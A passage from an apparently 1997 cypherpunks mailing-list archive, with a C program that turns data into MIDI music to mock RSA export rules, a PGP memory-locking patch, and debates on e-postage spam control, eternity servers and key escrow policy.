        if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
        if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);

        if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
        if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
    }

    return(1);
} /* end of write_track() */

main(argc,argv)
char **argv;
{
    if( !(fp = fopen(argv[1],"w")) ) exit(1);

    Mf_putc = mputc;
    Mf_writetrack = writetrack;
    mfwrite(0,1,480,fp);
}

---------------------------------------------------------------------------

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

-------------- next part --------------
A non-text attachment was scrubbed...
Name: bin00000.bin
Type: application/octet-stream
Size: 2646 bytes
Desc: "rsa.mid"
URL: 

From aba at dcs.ex.ac.uk  Sat Aug  2 12:33:55 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 03:33:55 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <199708021921.UAA06401@server.test.net>

Kent Crispin  writes:
> In more general terms: A "free market" fundamentally grants more
> control to those with more money.  Postage of whatever variety turns
> the medium over to those with more money.  That would, in my opinion, 
> fundamentally alter the character of email in a strongly negative 
> direction. 

OK, lets say we make emails free, unmetered, but they _must_ include a
valid token for 0c.  (OK Dimitri?)

Next we choose a threshold say 1000 posts per day.  Seems hard to
imagine anyone generating manually over 1000 emails per day.  That's
more than 1 per minute for a 10 hour day.

Next when you sign up for this new email postage system, you have to
hand over a $100 deposit.  The 0c payments are anonymous.  But if you
spend over 1000 of them in one day, your identity becomes known (via a
mechanism like that used for Chaum's off-line double spending
detection protocol).  You loose $100.  To you, the spammer, the posts
cost 10c each.  Your account is disabled until you pay another $100.

However there are a number of practical problems with the above scheme:

- How do we stop spammers buying unwanted 0c postage stamps from
people for under 10c a stamp?

- Sounds like an online protocol, will be high bandwidth requirements
at the bank(s)

- How do we stop banks cheating and spamming or selling spammers
postage more cheaply

Doesn't look like it could work, unless anyone has any ideas to fix-up
a distributed protocol which can acheive something like this, and
preserve anonymity at the same time.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

Interesting.

Now for the obvious question, can you convert midi back to text?

Looks like a new way to hide encrypted messages.

amp

------------------------
  From: Kent Crispin 
  Subject: RSA - the song 
  Date: Sat, 02 Aug 1997 12:02:26 -0700 
  To: cypherpunks at cyberpass.net, coderpunks at toad.com

> On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
> [...]
> > 
> > print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> > )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 > 
> > > I dug out a midi interpreter I wrote a number of years ago, 
> > > and it is indeed trivial to modify it to read any text as input.  
> > > Unfortunately, I wrote that long before the midi file spec was 
> > > finalized, and the hardware I wrote it for is also long gone.  But 
> > > it's probably not much work to get file output working again...and 
> > > the thought of a general text-to-midi translator is rather 
> > > entertaining -- I could play this entire mail message through it, for 
> > > example... It would definitely make better music if some rhythmic 
> > > variation was part of the coding, but that would make it a little 
> > > harder to make an automatic decoder...
> > 
> > I'd find it most cool to hear an audio file of the above.
> 
> Well, I generated a midi file that encodes music which in turn is a 
> direct algorithmic encoding of your program.  I didn't have a 
> convenient way to go to a direct sound file, but midi players are 
> very widely available -- any recent pc with a sound card will have a 
> "multimedia midi jukebox" or something like that.  And there are 
> probably free ones on the net -- I didn't look.  The midi file will 
> be a mime attachment to this message.  It's also at 
> 
> 	ftp://songbird.com/pub/rsa.mid 
> 
> For aesthetic reasons I modified the encoding from the simple one
> mentioned earlier, and, rather than try to modify one of my earlier
> midi programs, I just hacked this one out from other sources.  The
> program will actually encode any binary data into a piece of music. 
> 
> I think that musically the piece is actually somewhat interesting -- I
> kind of like it.  Like the source text, it is rather dense.  But if
> you listen to it a few times patterns and phrasing will appear.  It 
> sounds like reasonable avante garde music, actually -- something a 
> college radio station might broadcast to the world late at night...
> 
> The program is really rather trivial, so rather than describing the 
> encoding, I am just appending it to this message.
> 
> --------------------------------------------------------------------
> /*
>     dtom -- convert data to midi
>         dtom midifile              or
>         datasource | dtom midifile
> 
>         convert standard in to a midi representation of the data, and
>         write it to a standard midi file.  The midi data is designed
>         to so that the sound produced will permit decoding by a pitch
>         to midi device.  Two things are done to increase the musical
> 	interest:  First, the notes are selected from a diatonic 
> 	scale, instead of a chromatic.  And second, the rhythm is 
>         also varied algorithmically -- any decoding from the sound 
>         should ignore all rhythmic variation.
> 
> 	Code uses "midifilelib" from Tim Thompson & Michael 
> 	Czeiszperger, and is cobbled from one of their examples.
> 
> */
>     
> 
> #include 
> #include 
> #include "midifile.h"
> 
> #define ROOT 36
> 
> FILE *fp;
> 
> /* offsets for three octaves of diatonic major scale */
> int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};
> 
> mputc(c) { return(putc(c,fp));}
> 
> int writetrack(track)
> int track;
> {
>     int note_duration;
>     int rest_duration;
>     int high_nybble;
>     int low_nybble;
>     char c;
>     char n1[2];
>     char n2[2];
> 
>     mf_write_tempo((long)100000);
> 
>     while( (c = getchar()) != EOF ) {
> 
>         high_nybble = (c>>4) & 0xf;
>         low_nybble  = c & 0xf;
> 	
> 	/* low note */
>         n1[0] = scale[low_nybble]+ROOT;	/* note number */
>         n1[1] = 64;                     /* velocity */
> 
> 	/* high note */
>         n2[0] = scale[high_nybble]+ROOT+scale[16];
>         n2[1] = 64;
> 
> 	/* shouldn't happen */
> 	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");
> 
> 	/* note_duration needs to be long enough for pitch detectors */
> 	note_duration = 120*((c&15) + 4);
> 	rest_duration = 120*(((c>>5)&3));
> 
>         if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
>         if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);
> 
>         if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
>         if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
>     }
> 
>     return(1);
> } /* end of write_track() */
> 
> main(argc,argv)
> char **argv;
> {
>     if( !(fp = fopen(argv[1],"w")) ) exit(1);
> 
>     Mf_putc = mputc;
>     Mf_writetrack = writetrack;
>     mfwrite(0,1,480,fp);
> }
> 
> ---------------------------------------------------------------------------
> 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent at songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp at pobox.com
Date: 08/02/97
Time: 16:46:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------

From dm0 at avana.net  Sat Aug  2 15:28:41 1997
From: dm0 at avana.net (David Miller)
Date: Sun, 3 Aug 1997 06:28:41 +0800
Subject: PGP 5.0b11 feedback / PGP Linux memlock patch
Message-ID: <33E3B246.2C983092@avana.net>

Guys,

Here's a patch for PGP 2.6.2 (and 2.6.3i) source which locks all
process pages in memory (will not swap to disk) under Linux if
the user is running with effective root privilege.  You might
consider putting something like this in PGP 5.0.  Also, this
patch should be generalizable to POSIX systems withthe mlockall(2)
function.  If you have any success in generalizing it to POSIX,
please let me know, as I only have access to Linux.

See 'man memlockall' for more info.

--David Miller

-- 
I'll take a smart dog over a dumb person any day.

Begin3
Title:		pgp-memlock.pat
Version:	25JUL97
Entered-date:	25JUL97
Description:	Patch for Linux PGP 2.6.2 and PGP 2.6.3i source to lock all
		pages in physical memory if running with root privilege.

		This keeps sensitive data from being swapped to disk, where
		it could be later recovered by undesirables.

		There is no effect if not run with effective root privilege.
		Root privs are immediately dismissed, allowing pgp to be
		safely installed SUID root (assuming its chmod'ed 4111).
		pgp.c is modified, increasing executable size by ~391 bytes.

Keywords:	PGP, encryption, security, Linux
Author: 	dm0 at avana.net (David Miller)
Maintained-by:	dm0 at avana.net (David Miller)
Primary-site:	sunsite.unc.edu  /pub/Linux/apps/crypto/pgp-memlock.pat
Alternate-site: Galactus
Original-site:	Coderpunks list
Platforms:	Linux
Copying-policy:	GPL
End

*** src/pgp.c	Sat Jul 26 01:25:57 1997
--- src/pgp.c.new	Sat Jul 26 01:25:50 1997
***************
*** 111,116 ****
--- 111,120 ----
  #include 
  #include 
  #include 
+ #ifdef linux
+ #include 	/* for David Miller's memory lock patch */
+ #include 	/* for David Miller's memory lock patch */
+ #endif

  #ifdef __QNX__
  #include 
***************
*** 435,440 ****
--- 439,457 ----
  #ifdef	DEBUG1
      verbose = TRUE;
  #endif
+ 
+ /* David Miller's memory lock patch */
+ #ifdef linux					/* Linux only, for now */
+     if (geteuid() == 0) {			/* if we have root privs */
+         /* lock all current & future pages in physical memory */
+ 	if (mlockall(MCL_CURRENT|MCL_FUTURE) < 0)
+ 		fprintf(pgpout, LANG("\007Could not lock all pages in memory.\n"));
+ 	if (setuid(getuid()) < 0)		/* drop root privs */
+ 		fprintf(pgpout, LANG("\007Could not drop root priviliges.\n"));
+     }
+ #endif
+ /* end David Miller's memory lock patch */
+ 
      /* The various places one can get passwords from.
       * We accumulate them all into two lists.  One is
       * to try on keys only, and is stored in no particular

From bpettigrew at usa.net  Sat Aug  2 16:25:39 1997
From: bpettigrew at usa.net (bpettigrew at usa.net)
Date: Sun, 3 Aug 1997 07:25:39 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
Message-ID: 

aba at dcs.ex.ac.uk wrote:
> OK, lets say we make emails free, unmetered, but they _must_ include 
a
> valid token for 0c.  (OK Dimitri?)
>
> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.
>
> Next when you sign up for this new email postage system, you have to
> hand over a $100 deposit.  The 0c payments are anonymous.  But if 
you
> spend over 1000 of them in one day, your identity becomes known (via 
a
> mechanism like that used for Chaum's off-line double spending
> detection protocol).  You loose $100.  To you, the spammer, the 
posts
> cost 10c each.  Your account is disabled until you pay another $100.

How would this work.  The ISP is enforcing these rules?  But the email
is not anonymous to the ISP.  Or is the email going through a 
remailer.

Why not just have an ISP say you can't send more than 1000 emails a
day.  But then what stops other ISPs from using different rules to
get the business of spammers.

--
	Bubba Pettigrew

From aba at dcs.ex.ac.uk  Sat Aug  2 17:41:59 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 08:41:59 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: 
Message-ID: <199708030035.BAA13654@server.test.net>

Bubba Pettigrew  writes:
> 
> aba at dcs.ex.ac.uk wrote:
> > OK, lets say we make emails free, unmetered, but they _must_ include 
> > a valid token for 0c.  (OK Dimitri?)
> >
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> >
> > Next when you sign up for this new email postage system, you have to
> > hand over a $100 deposit.  The 0c payments are anonymous.  But if 
> > you spend over 1000 of them in one day, your identity becomes known 
> > (via a mechanism like that used for Chaum's off-line double spending
> > detection protocol).  You loose $100.  To you, the spammer, the 
> > posts cost 10c each.  Your account is disabled until you pay another
> > $100.
> 
> How would this work.  The ISP is enforcing these rules?  But the email
> is not anonymous to the ISP.  Or is the email going through a 
> remailer.

The email could be delivered a number of ways, remailer, users ISP,
some other ISP's open access sendmail hub (a lot of systems you can
connect to on the SMTP port and use them as a forwarder.  Some people
use this to do crude forgeries.  Spammers like this kind of trick).

It is the recipient who is enforcing the rules indirectly because, the
recipient cashes the 0c tokens on receipt.  That way the bank gets
back all the spent tokens.

There is a neat protocol that Chaum uses in his off-line ecash
protocol which allows you to have ecash which is anonymous so long as
you don't spend it twice.  If you spend twice the bank finds out your
identity, and then penalizes you.

This protocol could be extended to have ecash which revealed your
identity if you spent more than 1000 of a given minting.  The bank
would issue a fresh mint of ecoins each day.

> Why not just have an ISP say you can't send more than 1000 emails a
> day.  

Because you can bypass your ISP once you've got PPP or SLIP running.
You can telnet to port 25 (smtp port) on any of millions of open SMTP
ports.  You could send via a remailer.

> But then what stops other ISPs from using different rules to get the
> business of spammers.

Nothing.

It is up to the recipient if he wants to join up with this anti-spam
system.  If he does all email that arrives in his email box without a
0c postage token gets bounced back to the recipient.  (You can have
some fall back so that people without signing up can still get through
to you, don't just do a blind bounce, but bounce with a nonce (random
number), so that they have to reply with that random number in the
mail, and then you'll get it.)

I'm not sure the whole thing is that practical though because of the
sheer number of TCP/IP connections required to do an online banking
protocol for each and every mail.  The bank server would melt down.

So perhaps you could have lots of banks.  The other thing that is
wrong with it is that you have to trust the banks.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

-----BEGIN PGP SIGNED MESSAGE-----

On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
comments on changes to encryption standards.  Apparently, NIST isn't getting 
many comments and would really like some.

Maybe someone should tell them that publication in the Federal Register isn't 
the right way to communicate with netizens :)

+------------------------------------------------------------------+
|Carl M. Ellison       cme at acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM+PSa1QXJENzYr45AQGsQAP+MgKEXEGg1irJ1FHqk8Rl26n2vMHdbOZ+
0az9sq3yIjhxM7AuV6URz6fOhOBU9Vt5pCbvhklZXNB7hF/gIogp7iXheQV1SFEs
R3EhI8zPdK7wewc2SjRPKT0ku0pvBxK35Qzn2FgVm+1F+9D7pUok6fLO+bXOTYUa
VPSk5VH3DCo=
=+xxT
-----END PGP SIGNATURE-----

From dformosa at st.nepean.uws.edu.au  Sat Aug  2 17:50:10 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 08:50:10 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708021921.UAA06401@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Adam Back wrote:

> Next we choose a threshold say 1000 posts per day.  Seems hard to
> imagine anyone generating manually over 1000 emails per day.  That's
> more than 1 per minute for a 10 hour day.

I bet this mailing list generates traffic of that order.  I would not wish
to see legitimite mailing lists shut down to stop the spam.

The best soultion given so far is Cause's suggestion of modifying the fax
law so that we can sue the spammers.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+OZaaQK0ynCmdStAQHwswP+PUSe66qf6Na6TdkrWwW3jWoorfqYIi5v
J6azAQ87dZuxMFqLuYrQ2eqq/701HNjhJdp8RcSfGEyPp4hx2wu7WwnKqCiX9HW/
7HRxJ6wkzc53DToKk6OmQp8heDJ45eFzqwVwaaItwe3P8BpN2szQiO/HXXBXDWYd
qsoP/J/GWI8=
=RugV
-----END PGP SIGNATURE-----

From azur at netcom.com  Sat Aug  2 18:40:11 1997
From: azur at netcom.com (Steve Schear)
Date: Sun, 3 Aug 1997 09:40:11 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: 

>In a "free market" a fundamental feedback loop is that inequality of
>distribution of wealth increases -- this obviously follows from the
>fact that it is easier to make money if you have money.  With wealth
>goes control.  Thus, the ultimate end of completely unfettered free
>markets is fascism, where the wealthy run the government.  This is
>another manifestation of the fundamental conflict between democratic
>ideals and unfettered free markets.
>
>Naturally, rich, indolent technologists tend to favor schemes that
>will put them in control. :-)

I can't fuly agree. In Europe, both communism and fascism started from the
socialists (in fact, the fascist were called National Socialists) and their
premise that a free market cannot bring about the social good (including
equality) they sought, and both accept the "... idea of a political party
which embraces all activities of the individual from the cradle to the
grave, which claims to guide his views on everything, and which delights in
making all problems questions of party...," F.A. Hayek, The Road to
Surfdom. Both favor totalitarian means to this end.

In the case of the Communist, the solution is no private ownership.  In the
case of Fascism, government mandidated oligopoly, which is as far from a
free market as communism.

--Steve

From aba at dcs.ex.ac.uk  Sat Aug  2 18:44:45 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 3 Aug 1997 09:44:45 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: 
Message-ID: <199708030134.CAA13809@server.test.net>

David Formosa  writes:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 2 Aug 1997, Adam Back wrote:
> 
> > Next we choose a threshold say 1000 posts per day.  Seems hard to
> > imagine anyone generating manually over 1000 emails per day.  That's
> > more than 1 per minute for a 10 hour day.
> 
> I bet this mailing list generates traffic of that order.  I would not wish
> to see legitimite mailing lists shut down to stop the spam.

The idea is that you would exempt from postage mailing lists and
people you know.

So what happens?  Spammers target mailing lists instead.  Already
happening to some extent.

Then what?  We have to use NoCems for mailing lists, or rating
services, or judicious use of the 'd' key.

> The best soultion given so far is Cause's suggestion of modifying
> the fax law so that we can sue the spammers.

Law, and suing and the internet don't mix.

Eg. Say I spam you via an anonymous remailer.  So now who are you
going to sue?

Spammers use remailers already.

So your suggest has dire consequences for remailers.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

I've put an eternity server up at:

	http://www.replay.com/aba/eternity/

(Alex de Joode kindly offered me an account for the purpose). 

It's running live off news.xs4all.nl newsfeed.  (replay.com is in .nl
too running off xs4all networks (I think), so it's newsfeed is fast
for replay to access).  It will check for news every 2 mins (if
someone is using it).

It's configured to read alt.anonymous.messages.

It's running eternity-0.05 (+ a few bug fixes which haven't been
packaged to produce 0.06 yet).

For instructions on posting get the latest eternity distribution off
my home page:

	http://www.dcs.ex.ac.uk/~aba/eternity/

It's not that automated yet, you have to make the posts manually,
though it will help you figure out which inline images, and links are
related to a page.  And will offer some assistance in encrypting the
documents and creating the hashes for the URLs, you still have to do a
bit of work, and you have to post the documents yourself also.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

Anyone got some ideas for content to stuff on the eternity service?

It looks like there might be a "wired news" article, and it would be
nice to have a few tasty items on-line.

I suspect it might be a better idea to start with the milder stuff,
something which has reasonable popular support which makes governments
look stupid for trying to censor.

Things like:

	- memoirs of dead french presidents doctor
	- radikal

Other ideas?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

A million monkeys operating under the pseudonym 
"Dr. Dmitri Vulis, KOTM " typed:

> "William H. Geiger III"  writes:
> 
> > In <199707311120.MAA00669 at server.test.net>, on 07/31/97
> >    at 12:20 PM, Adam Back  said:
> >
> > >Another longer term way to improve the situation is to charge some small
> > >token amount per article, just to encourage people to use it with some
> > >intelligence (use cross posts rather than separately reposting to each
> > >group).
> >
> > This will not work!!!
> >
> > Charging for e-mail/news posts will no nothing to prevent spam and more
> > than likely increase the noise on such lists. It is the spamers who have
> > the money to post volumns of their crap. Allso I think you will find that
> > it will be the fanatics who will think it worth the $$$ to get their
> > message out.
> 
> In all fairness, it would decrease the "spam" because some spammers are
> certain to be unwilling to pay for braodcasting the kind of crap they
> now broadcast for a flat fee. However it would not eliminate the "spam"
> and it would damped the "signal" more than it would damped the "noise".

You guys are all forgetting the second part of the protocol-- 
receiver receives message, reads it and decides whether he 
wants to receive more mail like this one from this sender.  If
so, receiver sends the token back.

It's called "good faith deposit".

--Z

From kent at songbird.com  Sat Aug  2 20:04:41 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 3 Aug 1997 11:04:41 +0800
Subject: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802195402.19993@bywater.songbird.com>

On Sat, Aug 02, 1997 at 04:46:06PM -0500, amp at pobox.com wrote:
> Interesting.
> 
> Now for the obvious question, can you convert midi back to text?

Of course -- that was the point of the exercise.  Not only that, but
midi can be used to generate sound, and pitch to midi converters can
go from sound to midi -- one way to look at this is that I've just
implemented part of an inefficient modem protocol.  However, the 
interesting thing from a legal point of view is that the intermediate 
protocol is music.  It is clearly music, in fact.  I have written 
many such compositions, and if I didn't say, you wouldn't be able to 
pick out which one was RSA by listening.

> Looks like a new way to hide encrypted messages.

I'm not sure how good it would be for that.  I find it more
entertaining as another example of the absurdity of the export ban. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From jito at eccosys.com  Sat Aug  2 20:09:22 1997
From: jito at eccosys.com (Joichi Ito)
Date: Sun, 3 Aug 1997 11:09:22 +0800
Subject: Joichi Ito as a Junior Policeman
Message-ID: <199708030304.MAA22318@eccosys.com>

Hi Tim.

At 23:46 97/08/01 -0700, Tim May wrote:

> And why are you helping to write a report that will be the "official
> position" of the Japanese cops?

Because, it would be much better to have it say, "we don't want key
escrow." My position on the study group is much more like making
a testimony in congress. Unlike the US, once a bill hits the floor,
it is very hard to participate. I have to participate while it is still
in the ministry level.

> The JDF is notoriously militaristic. You should reconsider this.

Again. That is exactly why I am diving in to give my opinion.
Leaving it to themselves to figure things out is probably much worse
than having someone like myself in all of the study groups giving
my frank opinion.

> And Cypherpunks should be very careful about "advising" an obviously
> co-opted member of the Japanese military and police establishment.

Again. If you want to view me as "co-opted" that's fine. Without me,
you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
on the record during the study group hearings. Do you think I should
just sit back and let the KEA's take over? 

> Use crypto to undermine such entities, not support them. Crypto will
> unleash anarchy on the world.

Why not let them figure it out instead of waging a war?

> You sound like a "junior policeman" to me.

Well I'm not.

> Another person to add to the killfiles.

What a productive attitude.

- Joi

P.S. I am only subscribed to cypherpunks lite. If you want to harass
me or comment, please cc my directly.

--
Finger jito at nsm.eccosys.com or jito at garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ito.com

From tcmay at got.net  Sat Aug  2 22:11:18 1997
From: tcmay at got.net (Tim May)
Date: Sun, 3 Aug 1997 13:11:18 +0800
Subject: Duncan Long on Cypherpunks and Guns
Message-ID: 

While looking through Duncan Long's Web pages on survivalism, guns, and
such, I found this interesting mention of Cypherpunks.

This particular article is at: http://www.prairienet.org/guns/dlgs/gun3.htm
It dates from January, 1996.

His main page is accessible from there. Long is well-known for his series
of books on the M-16, Surviving Nuclear War, terrorist incidents, etc.,
mostly published by Delta Press and Paladin Press. (The kind of books
Loompanics likes to display.) He also has some views on Christianity,
Armageddon, and such...mostly I ignore these views, and am more than happy
to have him be a good Christian so long as his views are not imposed on me.
I mainly read Long for his views on guns and gun laws.

--Tim

--begin excerpt from Duncan Long's article--

Cyberpunks

At the risk of getting "flamed", I thought I'd make a few comments about
Cyberpunks. First, the definitions (using material I've lifted from
some Cyberpunks sites on the WWW). According to those that consider
themselves to be Cyberpunks, there are three main
sub-classifications of Cyberpunks. These are:

Hackers: Persons who are skilled or talented with most aspects of
computers, electronics, and technology. For hackers, technology is not just
a hobby but a way of life.

Cypherpunks: Individuals who believe that the government is out to invade
the privacy of everybody on the planet. The cypherpunk's central
goal is to out-smart the system. (The encryption program, PGP, is often
referred to by this group as "the Cypherpunk's best friend").

Ravers: Folks who use synthesized and sampled music, computer-generated
psychedelic ("cyberdelic") art, and designer drugs to create
massive all-night dance parties and love-fests in empty warehouses.

Now if you grew up during the 1960s, you'll recognize the Ravers; they're
basically hi-tech hippies. And the hackers are those darlings of the
media that show how dangerous those of us on the Internet are to society
(and give the establishment a good reason to demand more controls
on the Net, censorship, etc., etc.).

But if you go beyond the surface, especially with the Cyberpunks, you
discover that these people have a lot in common with the survival,
militia, and gun rights movements. Like us, they don't trust the
government, are using the Net (hey, you're here, aren't you?), and (yes)
even
want to own firearms to protect themselves from lack of good law
enforcement as well as run-away government agents who are apt to trample
on their rights.

There are some differences between the hard-core gun rights crowd and the
Cyberpunks. Gun owners tend to be older and a bit more
knowledgeable about government and how it does and doesn't work. And (as
might be expected) has a better grasp of which firearms are
suitable for self defense and which are Walter Mitty.

But the two groups have a lot in common, even have a lot of "members" that
belong to both groups. I think it will only be a matter of time
before Cyberpunks and gun rights groups join forces or even become one and
the same thing.

Undoubtedly this is another worry that will keep the gun grabbers and those
interested in getting rid of freedom in the US up at night.

--end excerpt from Duncan Long's article--

From dformosa at st.nepean.uws.edu.au  Sat Aug  2 22:33:48 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 13:33:48 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin  writes:

[...]

> Look in your "control" newsgroup, and you'll see that most of the
> cancels forged for the MMFs state in the body that they're being
> cancelled because they're "illegal".

No thay state the MMF are illegal.  It dosn't say that its becuase its
illegal that there being canceled.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+Pbq6QK0ynCmdStAQG1FQP/RN8Y+Tbw6pJ2qvm0x/eiw+Vlg28Fm4Im
21Ieg3vfa2fZ/GnCnQ7mFZSTYxfN47Qyr4GSl6KO6AgA7iNiT0oKoiXKvOc6qcvx
y/Of78HcmjXrwCyfyGAGQhDi8cPcgmNRenDBMujgg03mb8Db7wNjj3wbS8OL4Nrl
UMhVwtbpGmU=
=cuRV
-----END PGP SIGNATURE-----

From apache at bear.apana.org.au  Sat Aug  2 22:39:11 1997
From: apache at bear.apana.org.au (Charles)
Date: Sun, 3 Aug 1997 13:39:11 +0800
Subject: NIST request for comments
In-Reply-To: <3.0.3.32.19970802203556.00b1e180@cybercash.com>
Message-ID: <199708030532.PAA05857@bear.apana.org.au>

-----BEGIN PGP SIGNED MESSAGE-----

   Carl Ellison said:

> On http://csrc.ncsl.nist.gov/ , the 3rd and 4th links are to requests for 
> comments on changes to encryption standards.  Apparently, NIST isn't getting 
> many comments and would really like some.

It'll only encourage them to believe they're relevant.

> Maybe someone should tell them that publication in the Federal Register isn't 
> the right way to communicate with netizens :)

The fact that they haven't already indicates they're dinosaurs.
- -- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+QX2Hawhvoxf0r9AQEa3QgAgKxZYfGKicVg8+uZXOHGKaZSFZCPn7oe
jekWdd5w2uC6lWk+YAVrghm6qt26b98IwUy8P1Ft9cIjn4LC5kjU+A74DURlKXhZ
KtidkyUcdWAuTmGW4R0IK/1vUgusI9D5S9KO6U4iUD17PqoUCU43xz5IKHgKZodd
SlcaWFZdIhiJMkmTJaaFXAUTapm5Zszq2iZjM9yu+gFy8Gvq1+CPojrTdduzCl8w
fqxQMvK0GiinDXmAxhVdJXPk6nqQEYeSk3JIJsY/QgOfnaq8kwZYfvmfEm1LdEHz
ij2i5jhkJbsO2PFFSSz3bL5U6bR6AFQYop2qoLGgV67mNmR04OJfWg==
=AziQ
-----END PGP SIGNATURE-----

From dformosa at st.nepean.uws.edu.au  Sat Aug  2 22:47:37 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sun, 3 Aug 1997 13:47:37 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <6PBTae5w165w@bwalk.dm.com>
Message-ID: 

